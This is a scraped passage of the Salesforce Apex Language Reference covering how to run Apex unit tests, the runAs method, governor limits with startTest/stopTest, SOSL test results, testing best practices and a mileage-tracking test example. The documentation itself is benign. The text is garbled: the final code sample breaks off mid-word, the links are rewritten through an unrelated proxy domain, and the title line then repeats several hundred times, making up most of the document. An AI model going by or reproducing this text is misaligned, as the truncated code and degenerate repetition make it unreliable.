by clicking Compile all classes on the Apex Classes page so that they appear in the list. See “Managing Apex
Classes” in the Salesforce Help.
3. Select the tests to run. The list of tests contains classes that contain test methods.

365
Testing Apex

•
•
•

Running Unit Test Methods

To select tests from an installed managed package, select its corresponding namespace from the drop-down list. Only
the classes of the managed package with the selected namespace appear in the list.
To select tests that exist locally in your organization, select [My Namespace] from the drop-down list. Only local
classes that aren't from managed packages appear in the list.
To select any test, select [All Namespaces] from the drop-down list. All the classes in the organization appear, whether
or not they are from a managed package.
Note: Classes whose tests are still running don't appear in the list.

4. Click Run.
After you run tests using the Apex Test Execution page, you can view code coverage details in the Developer Console.
From Setup, click Develop > Apex Test Execution > View Test History to view all test results for your organization, not just
tests that you have run. Test results are retained for 30 days after they finish running, unless cleared.

Running Tests Using the Force.com IDE
In addition, you can execute tests with the Force.com IDE (see
https://wiki.developerforce.com/index.php/Apex_Toolkit_for_Eclipse).

Running Tests Using the Force.com Developer Console
The Developer Console enables you to create test runs to execute tests in specific test classes, or to run all tests. The Developer
Console runs tests asynchronously in the background allowing you to work in other areas of the Developer Console while tests
are running. Once the tests finish execution, you can inspect the test results in the Developer Console. Also, you can inspect
the overall code coverage for classes covered by the tests.
You can open the Developer Console in the Salesforce application from Your Name > Developer Console. For more details,
check out the Developer Console documentation in the Salesforce online help.

Running Tests Using the API
You can use the runTests() call from the SOAP API to run tests synchronously:
RunTestsResult[] runTests(RunTestsRequest ri)

This call allows you to run all tests in all classes, all tests in a specific namespace, or all tests in a subset of classes in a specific
namespace, as specified in the RunTestsRequest object. It returns the following:
•
•
•
•
•

Total number of tests that ran
Code coverage statistics (described below)
Error information for each failed test
Information for each test that succeeds
Time it took to run the test

For more information on runTests(), see the WSDL located at
https://your_salesforce_server/services/wsdl/apex, where your_salesforce_server is equivalent to the
server on which your organization is located, such as na1.salesforce.com.

Though administrators in a Salesforce production organization cannot make changes to Apex code using the Salesforce user
interface, it is still important to use runTests() to verify that the existing unit tests run to completion after a change is made,
such as adding a unique constraint to an existing field. Salesforce production organizations must use the compileAndTest
SOAP API call to make changes to Apex code. For more information, see Deploying Apex on page 376.
For more information on runTests(), see SOAP API and SOAP Headers for Apex on page 1330.

366
Testing Apex

Running Unit Test Methods

Running Tests Using ApexTestQueueItem
Note: The API for asynchronous test runs is a Beta release.

You can run tests asynchronously using ApexTestQueueItem and ApexTestResult. Using these objects and Apex code
to insert and query the objects, you can add tests to the Apex job queue for execution and check the results of completed test
runs. This enables you to not only start tests asynchronously but also schedule your tests to execute at specific times by using
the Apex scheduler. See Apex Scheduler for more information.
To start an asynchronous execution of unit tests and check their results, use these objects:
•
•

ApexTestQueueItem: Represents a single Apex class in the Apex job queue.
ApexTestResult: Represents the result of an Apex test method execution.

Insert an ApexTestQueueItem object to place its corresponding Apex class in the Apex job queue for execution. The Apex
job executes the test methods in the class. After the job executes, ApexTestResult contains the result for each single test
method executed as part of the test.
To abort a class that is in the Apex job queue, perform an update operation on the ApexTestQueueItem object and set its
Status field to Aborted.
If you insert multiple Apex test queue items in a single bulk operation, the queue items will share the same parent job. This
means that a test run can consist of the execution of the tests of several classes if all the test queue items are inserted in the
same bulk operation.
The maximum number of test queue items, and hence classes, that you can insert in the Apex job queue is the greater of 500
or 10 multiplied by the number of test classes in the organization.
This example shows how to use DML operations to insert and query the ApexTestQueueItem and ApexTestResult
objects. The enqueueTests method inserts queue items for all classes that end with Test. It then returns the parent job ID
of one queue item, which is the same for all queue items because they were inserted in bulk. The checkClassStatus method
retrieves all the queue items that correspond to the specified job ID. It then queries and outputs the name, job status, and pass
rate for each class. The checkMethodStatus method gets information of each test method that was executed as part of the
job.
public class TestUtil {
// Enqueue all classes ending in "Test".
public static ID enqueueTests() {
ApexClass[] testClasses =
[SELECT Id FROM ApexClass
WHERE Name LIKE '%Test'];
if (testClasses.size() > 0) {
ApexTestQueueItem[] queueItems = new List<ApexTestQueueItem>();
for (ApexClass cls : testClasses) {
queueItems.add(new ApexTestQueueItem(ApexClassId=cls.Id));
}
insert queueItems;
// Get the job ID of the first queue item returned.
ApexTestQueueItem item =
[SELECT ParentJobId FROM ApexTestQueueItem
WHERE Id=:queueItems[0].Id LIMIT 1];
return item.parentjobid;
}
return null;
}
// Get the status and pass rate for each class
// whose tests were run by the job.
// that correspond to the specified job ID.
public static void checkClassStatus(ID jobId) {

367
Testing Apex

Using the runAs Method

ApexTestQueueItem[] items =
[SELECT ApexClass.Name, Status, ExtendedStatus
FROM ApexTestQueueItem
WHERE ParentJobId=:jobId];
for (ApexTestQueueItem item : items) {
String extStatus = item.extendedstatus == null ? '' : item.extendedStatus;
System.debug(item.ApexClass.Name + ': ' + item.Status + extStatus);
}
}
// Get the result for each test method that was executed.
public static void checkMethodStatus(ID jobId) {
ApexTestResult[] results =
[SELECT Outcome, ApexClass.Name, MethodName, Message, StackTrace
FROM ApexTestResult
WHERE AsyncApexJobId=:jobId];
for (ApexTestResult atr : results) {
System.debug(atr.ApexClass.Name + '.' + atr.MethodName + ': ' + atr.Outcome);
if (atr.message != null) {
System.debug(atr.Message + 'n at ' + atr.StackTrace);
}
}
}
}

Using the runAs Method
Generally, all Apex code runs in system mode, where the permissions and record sharing of the current user are not taken into
account. The system method runAs enables you to write test methods that change the user context to an existing user or a
new user so that the user’s record sharing is enforced. The runAs method doesn’t enforce user permissions or field-level
permissions, only record sharing.
You can use runAs only in test methods. The original system context is started again after all runAs test methods complete.
The runAs method ignores user license limits. You can create new users with runAs even if your organization has no additional
user licenses.
Note: Every call to runAs counts against the total number of DML statements issued in the process.

In the following example, a new test user is created, then code is run as that user, with that user's record sharing access:
@isTest
private class TestRunAs {
public static testMethod void testRunAs() {
// Setup test data
// This code runs as the system user
Profile p = [SELECT Id FROM Profile WHERE Name='Standard User'];
User u = new User(Alias = 'standt', Email='standarduser@testorg.com',
EmailEncodingKey='UTF-8', LastName='Testing', LanguageLocaleKey='en_US',
LocaleSidKey='en_US', ProfileId = p.Id,
TimeZoneSidKey='America/Los_Angeles', UserName='standarduser@testorg.com');
System.runAs(u) {
// The following code runs as user 'u'
System.debug('Current User: ' + UserInfo.getUserName());
System.debug('Current Profile: ' + UserInfo.getProfileId());
}
}
}

368
Testing Apex

Using Limits, startTest, and stopTest

You can nest more than one runAs method. For example:
@isTest
private class TestRunAs2 {
public static testMethod void test2() {
Profile p = [SELECT Id FROM Profile WHERE Name='Standard User'];
User u2 = new User(Alias = 'newUser', Email='newuser@testorg.com',
EmailEncodingKey='UTF-8', LastName='Testing', LanguageLocaleKey='en_US',
LocaleSidKey='en_US', ProfileId = p.Id,
TimeZoneSidKey='America/Los_Angeles', UserName='newuser@testorg.com');
System.runAs(u2) {
// The following code runs as user u2.
System.debug('Current User: ' + UserInfo.getUserName());
System.debug('Current Profile: ' + UserInfo.getProfileId());
// The following code runs as user u3.
User u3 = [SELECT Id FROM User WHERE UserName='newuser@testorg.com'];
System.runAs(u3) {
System.debug('Current User: ' + UserInfo.getUserName());
System.debug('Current Profile: ' + UserInfo.getProfileId());
}
// Any additional code here would run as user u2.
}
}
}

Other Uses of runAs
You can also use the runAs method to perform mixed DML operations in your test by enclosing the DML operations within
the runAs block. In this way, you bypass the mixed DML error that is otherwise returned when inserting or updating setup
objects together with other sObjects. See sObjects That Cannot Be Used Together in DML Operations.
There is another overload of the runAs method (runAs(System.Version)) that takes a package version as an argument.
This method causes the code of a specific version of a managed package to be used. For information on using the runAs
method and specifying a package version context, see Testing Behavior in Package Versions on page 386.

Using Limits, startTest, and stopTest
The Limits methods return the specific limit for the particular governor, such as the number of calls of a method or the amount
of heap size remaining.
There are two versions of every method: the first returns the amount of the resource that has been used in the current context,
while the second version contains the word “limit” and returns the total amount of the resource that is available for that context.
For example, getCallouts returns the number of callouts to an external service that have already been processed in the
current context, while getLimitCallouts returns the total number of callouts available in the given context.
In addition to the Limits methods, use the startTest and stopTest methods to validate how close the code is to reaching
governor limits.
The startTest method marks the point in your test code when your test actually begins. Each test method is allowed to
call this method only once. All of the code before this method should be used to initialize variables, populate data structures,
and so on, allowing you to set up everything you need to run your test. Any code that executes after the call to startTest
and before stopTest is assigned a new set of governor limits.
The startTest method does not refresh the context of the test: it adds a context to your test. For example, if your class
makes 98 SOQL queries before it calls startTest, and the first significant statement after startTest is a DML statement,
the program can now make an additional 100 queries. Once stopTest is called, however, the program goes back into the
original context, and can only make 2 additional SOQL queries before reaching the limit of 100.
369
Testing Apex

Adding SOSL Queries to Unit Tests

The stopTest method marks the point in your test code when your test ends. Use this method in conjunction with the
startTest method. Each test method is allowed to call this method only once. Any code that executes after the stopTest
method is assigned the original limits that were in effect before startTest was called. All asynchronous calls made after the
startTest method are collected by the system. When stopTest is executed, all asynchronous processes are run synchronously.

Adding SOSL Queries to Unit Tests
To ensure that test methods always behave in a predictable way, any Salesforce Object Search Language (SOSL) query that
is added to an Apex test method returns an empty set of search results when the test method executes. If you do not want the
query to return an empty list of results, you can use the Test.setFixedSearchResults system method to define a list of
record IDs that are returned by the search. All SOSL queries that take place later in the test method return the list of record
IDs that were specified by the Test.setFixedSearchResults method. Additionally, the test method can call
Test.setFixedSearchResults multiple times to define different result sets for different SOSL queries. If you do not
call the Test.setFixedSearchResults method in a test method, or if you call this method without specifying a list of
record IDs, any SOSL queries that take place later in the test method return an empty list of results.
The list of record IDs specified by the Test.setFixedSearchResults method replaces the results that would normally
be returned by the SOSL query if it were not subject to any WHERE or LIMIT clauses. If these clauses exist in the SOSL query,
they are applied to the list of fixed search results. For example:
@isTest
private class SoslFixedResultsTest1 {
public static testMethod void testSoslFixedResults() {
Id [] fixedSearchResults= new Id[1];
fixedSearchResults[0] = '001x0000003G89h';
Test.setFixedSearchResults(fixedSearchResults);
List<List<SObject>> searchList = [FIND 'test'
IN ALL FIELDS RETURNING
Account(id, name WHERE name = 'test' LIMIT 1)];
}
}

Although the account record with an ID of 001x0000003G89h may not match the query string in the FIND clause ('test'),
the record is passed into the RETURNING clause of the SOSL statement. If the record with ID 001x0000003G89h matches
the WHERE clause filter, the record is returned. If it does not match the WHERE clause, no record is returned.

Testing Best Practices
Good tests should do the following:
•

Cover as many lines of code as possible. Before you can deploy Apex or package it for the Force.com AppExchange, the
following must be true.
Important:
◊ At least 75% of your Apex code must be covered by unit tests, and all of those tests must complete successfully.
Note the following.
-

When deploying to a production organization, every unit test in your organization namespace is executed.
Calls to System.debug are not counted as part of Apex code coverage.
Test methods and test classes are not counted as part of Apex code coverage.
While only 75% of your Apex code must be covered by tests, your focus shouldn't be on the percentage of
code that is covered. Instead, you should make sure that every use case of your application is covered,

370
Testing Apex

Testing Example

including positive and negative cases, as well as bulk and single records. This should lead to 75% or more
of your code being covered by unit tests.
◊ Every trigger must have some test coverage.
◊ All classes and triggers must compile successfully.
•
•
•
•
•
•
•
•
•

In the case of conditional logic (including ternary operators), execute each branch of code logic.
Make calls to methods using both valid and invalid inputs.
Complete successfully without throwing any exceptions, unless those errors are expected and caught in a try…catch
block.
Always handle all exceptions that are caught, instead of merely catching the exceptions.
Use System.assert methods to prove that code behaves properly.
Use the runAs method to test your application in different user contexts.
Exercise bulk trigger functionality—use at least 20 records in your tests.
Use the ORDER BY keywords to ensure that the records are returned in the expected order.
Not assume that record IDs are in sequential order.
Record IDs are not created in ascending order unless you insert multiple records with the same request. For example, if
you create an account A, and receive the ID 001D000000IEEmT, then create account B, the ID of account B may or may
not be sequentially higher.

•

•

On the list of Apex classes, there is a Code Coverage column. If you click the coverage percent number, a page displays,
highlighting the lines of code for that class or trigger that are covered by tests in blue, as well as highlighting the lines of
code that are not covered by tests in red. It also lists how many times a particular line in the class or trigger was executed
by the test.
Set up test data:
◊ Create the necessary data in test classes, so the tests do not have to rely on data in a particular organization.
◊ Create all test data before calling the starttest method.
◊ Since tests don't commit, you won't need to delete any data.

•
•

Write comments stating not only what is supposed to be tested, but the assumptions the tester made about the data, the
expected outcome, and so on.
Test the classes in your application individually. Never test your entire application in a single test.

If you are running many tests, consider the following:
•
•

In the Force.com IDE, you may need to increase the Read timeout value for your Apex project. See
https://wiki.developerforce.com/index.php/Apex_Toolkit_for_Eclipse for details.
In the Salesforce user interface, you may need to test the classes in your organization individually, instead of trying to run
all of the tests at the same time using the Run All Tests button.

Testing Example
The following example includes cases for the following types of tests:
•
•
•

Positive case with single and multiple records
Negative case with single and multiple records
Testing with other users

371
Testing Apex

Testing Example

The test is used with a simple mileage tracking application. The existing code for the application verifies that not more than
500 miles are entered in a single day. The primary object is a custom object named Mileage__c. Here is the entire test class.
The following sections step through specific portions of the code.
@isTest
private class MileageTrackerTestSuite {
static testMethod void runPositiveTestCases() {
Double totalMiles = 0;
final Double maxtotalMiles = 500;
final Double singletotalMiles = 300;
final Double u2Miles = 100;
//Set up user
User u1 = [SELECT Id FROM User WHERE Alias='auser'];
//Run As U1
System.RunAs(u1){
System.debug('Inserting 300

miles... (single record validation)');

Mileage__c testMiles1 = new Mileage__c(Miles__c = 300, Date__c = System.today());
insert testMiles1;
//Validate single insert
for(Mileage__c m:[SELECT miles__c FROM Mileage__c
WHERE CreatedDate = TODAY
and CreatedById = :u1.id
and miles__c != null]) {
totalMiles += m.miles__c;
}
System.assertEquals(singletotalMiles, totalMiles);
//Bulk validation
totalMiles = 0;
System.debug('Inserting 200 mileage records... (bulk validation)');
List<Mileage__c> testMiles2 = new List<Mileage__c>();
for(integer i=0; i<200; i++) {
testMiles2.add( new Mileage__c(Miles__c = 1, Date__c = System.today()) );
}
insert testMiles2;
for(Mileage__c m:[SELECT miles__c FROM Mileage__c
WHERE CreatedDate = TODAY
and CreatedById = :u1.Id
and miles__c != null]) {
totalMiles += m.miles__c;
}
System.assertEquals(maxtotalMiles, totalMiles);
}//end RunAs(u1)
//Validate additional user:
totalMiles = 0;
//Setup RunAs
User u2 = [SELECT Id FROM User WHERE Alias='tuser'];
System.RunAs(u2){
Mileage__c testMiles3 = new Mileage__c(Miles__c = 100, Date__c = System.today());
insert testMiles3;

372
Testing Apex

Testing Example

for(Mileage__c m:[SELECT miles__c FROM Mileage__c
WHERE CreatedDate = TODAY
and CreatedById = :u2.Id
and miles__c != null]) {
totalMiles += m.miles__c;
}
//Validate
System.assertEquals(u2Miles, totalMil
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
Salesforce Apex Language Reference
